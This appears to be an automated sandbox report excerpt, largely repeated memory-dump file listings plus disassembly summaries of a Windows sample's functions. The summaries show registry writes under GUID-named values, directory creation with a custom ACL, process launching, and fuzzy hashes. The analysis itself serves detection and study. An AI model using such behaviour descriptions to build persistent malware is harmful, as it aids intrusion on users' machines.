Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: Local$Free$AllocCreateErrorLast$DirectoryFileFolderKnownPathTask__snwprintf
String ID: %s%s$P
API String ID: 2147635370-50959982
Opcode ID: f884ea8d1eebff699916fec0f6a5ad6a630a11120f5cc82f4a29d0f3e0900ac9
Instruction ID: 980f78543dc0a37cbdccfcc3609d8f46ea369c1a0dcd22553714d513b2224924
Opcode Fuzzy Hash: f884ea8d1eebff699916fec0f6a5ad6a630a11120f5cc82f4a29d0f3e0900ac9
Instruction Fuzzy Hash: C9518070911228EBDB24DBA4EC9CBADB778AB48314F1046B5E608A61D4C7749E80CF60

Function 009342A0 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 76
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 009342D4
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 009342EA

Part of subcall function 0093C570: CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000,?,0093430B,?,00000000), ref: 0093C58C
Part of subcall function 0093C570: LocalAlloc.KERNELBASE(00000040,000000FF,?,0093430B), ref: 0093C5B6
Part of subcall function 0093C570: ReadFile.KERNELBASE(000000FF,00000000,000000FF,?,00000000), ref: 0093C5D7
Part of subcall function 0093C570: CloseHandle.KERNELBASE(000000FF), ref: 0093C5ED

__snwprintf.LIBCMT ref: 00934337
RegOpenKeyExW.KERNELBASE(80000001,?,00000000,00000102,?), ref: 00934359
RegSetValueExW.KERNELBASE(?,{30B65D11-E9AA-4938-8C03-D48010908173},00000000,00000003,00000000,00000000), ref: 00934381
RegCloseKey.ADVAPI32(?), ref: 00934392
LocalFree.KERNELBASE(00000000), ref: 0093439F
RegCloseKey.ADVAPI32(?), ref: 009343B3
LocalFree.KERNEL32(00000000), ref: 009343C0

Strings

{0D6172E3-C310-454B-A566-1C3CE2B77AB5}, xrefs: 00934321
SOFTWARE\%s, xrefs: 00934326
{30B65D11-E9AA-4938-8C03-D48010908173}, xrefs: 00934375

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: CloseFileLocal$Free$AllocCreateHandleModuleNameOpenReadValue__snwprintf_memset
String ID: SOFTWARE\%s${0D6172E3-C310-454B-A566-1C3CE2B77AB5}${30B65D11-E9AA-4938-8C03-D48010908173}
API String ID: 3188883088-3495461605
Opcode ID: 0601049f1f68fc2b2a75a874def2d1a89511828cb099c8134340b09e4c7c2402
Instruction ID: 2c112843c6546eccc2e5d908ecd544b2e89355a21bc51c230222a766d36da154
Opcode Fuzzy Hash: 0601049f1f68fc2b2a75a874def2d1a89511828cb099c8134340b09e4c7c2402
Instruction Fuzzy Hash: 3A2191B5A54318ABD720DB64DC8DFEA7778AB44700F0046C9B61CA6191E7B49EC4CFA1

Function 0092FF10 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 75
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetKnownFolderPath.SHELL32(00957C00,00000000,00000000,00991178,?,?,?,?,009215DF,00991178), ref: 0092FF23
LocalAlloc.KERNELBASE(00000040,0000FFFE,?,?,?,?,009215DF,00991178), ref: 0092FF38
wnsprintfW.SHLWAPI ref: 0092FF67
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00991178), ref: 0092FFEF

Part of subcall function 00930400: AllocateAndInitializeSid.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0093044D
Part of subcall function 00930400: _memset.LIBCMT ref: 00930463
Part of subcall function 00930400: SetEntriesInAclW.ADVAPI32(00000001,FFFFFFFF,00000000,00000000), ref: 009304A0
Part of subcall function 00930400: LocalAlloc.KERNEL32(00000040,00000014), ref: 009304B3
Part of subcall function 00930400: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 009304C8
Part of subcall function 00930400: SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,00000000,00000000), ref: 009304DE

CreateDirectoryW.KERNELBASE(?,0000000C), ref: 0092FF9E
GetLastError.KERNEL32 ref: 0092FFA9
LocalFree.KERNEL32(00000000), ref: 0092FFBA
LocalFree.KERNEL32(?), ref: 0092FFC4
CoTaskMemFree.COMBASE(00991178), ref: 0092FFCE
LocalFree.KERNEL32(00000000), ref: 0092FFE5
CoTaskMemFree.COMBASE(00991178), ref: 0092FFF9

Strings

%s\%s, xrefs: 0092FF59

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: FreeLocal$AllocDescriptorInitializeSecurityTask$AllocateCreateDaclDirectoryEntriesErrorFolderKnownLastPath_memsetwnsprintf
String ID: %s\%s
API String ID: 4260852628-4073750446
Opcode ID: 43af4b5d6d41c9458e2fdf71ed797f420144fd2862059b0e851b647035ef889b
Instruction ID: f8cb6d6eb76ab09950f6473ba62d9f504e8ac2d7ee7d28c8f122d33fd753552a
Opcode Fuzzy Hash: 43af4b5d6d41c9458e2fdf71ed797f420144fd2862059b0e851b647035ef889b
Instruction Fuzzy Hash: EE214174914208FBDB14DFE8DD89BAEBB78EF88305F108565F605E62D0D7749A80DB50

Function 00936870 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 86
memoryprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 00936880
GetSystemDirectoryW.KERNEL32(00000000,00007FFF), ref: 0093689C
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 009368B1
__snwprintf.LIBCMT ref: 009368FD
_memset.LIBCMT ref: 00936910
CreateProcessW.KERNELBASE(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 00936957
LocalFree.KERNELBASE(00000000), ref: 00936966
LocalFree.KERNELBASE(00000000), ref: 00936970
LocalFree.KERNEL32(00000000), ref: 00936981
LocalFree.KERNEL32(00000000), ref: 0093698B

Strings

D, xrefs: 00936918

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc$CreateDirectoryProcessSystem__snwprintf_memset
String ID: D
API String ID: 3926260567-2746444292
Opcode ID: 1587e1973b554801784324b14b2135a96c522c0253f024d0c4b94a9967ae5a3d
Instruction ID: 5152611cd0a0d40b210aa7ebc94645d265b22cf06bdb790b3e33dc08fbcfe66b
Opcode Fuzzy Hash: 1587e1973b554801784324b14b2135a96c522c0253f024d0c4b94a9967ae5a3d
Instruction Fuzzy Hash: C73184B5A14208BBDB10DBA8CC89FED7B79AF48700F1045A9F305AB2D0DB755A80DF50

Function 009343D0 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 63
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 009343F0
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00934406
__snwprintf.LIBCMT ref: 0093442A
RegOpenKeyExW.KERNELBASE(80000001,?,00000000,00000102,?), ref: 0093444C
RegSetValueExW.KERNELBASE(?,{09BFD43E-2EE6-4681-8908-07206FCA7CB8},00000000,00000001,?,00000002), ref: 0093447F
RegCloseKey.ADVAPI32(?), ref: 00934490
RegCloseKey.ADVAPI32(?), ref: 009344A4

Strings

SOFTWARE\%s, xrefs: 00934419
{0D6172E3-C310-454B-A566-1C3CE2B77AB5}, xrefs: 00934414
{09BFD43E-2EE6-4681-8908-07206FCA7CB8}, xrefs: 00934473

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: Close$FileModuleNameOpenValue__snwprintf_memset
String ID: SOFTWARE\%s${09BFD43E-2EE6-4681-8908-07206FCA7CB8}${0D6172E3-C310-454B-A566-1C3CE2B77AB5}
API String ID: 496817317-1219366795
Opcode ID: 5957855dfe3a6bd90d83f1879e8ea9c945b6c84916695b35c05ee52318adff00
Instruction ID: 78e3f76e321bfb972c4bebc4722e6597132583ef718894dff6f986a1259a92fe
Opcode Fuzzy Hash: 5957855dfe3a6bd90d83f1879e8ea9c945b6c84916695b35c05ee52318adff00
Instruction Fuzzy Hash: AC11CBB5A503047BE720DBA4DC8EFE6737CDB44700F008699B619960D1FAB09AC4DF61

Function 009460FF Relevance: 15.1, APIs: 10, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_fast_error_exit.LIBCMT ref: 0094617E
_fast_error_exit.LIBCMT ref: 0094618F
__RTC_Initialize.LIBCMT ref: 00946195
__amsg_exit.LIBCMT ref: 009461A8
__amsg_exit.LIBCMT ref: 009461CE
__setenvp.LIBCMT ref: 009461D4
__amsg_exit.LIBCMT ref: 009461DF
__cinit.LIBCMT ref: 009461E7
__amsg_exit.LIBCMT ref: 009461F2
__wincmdln.LIBCMT ref: 009461F8

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
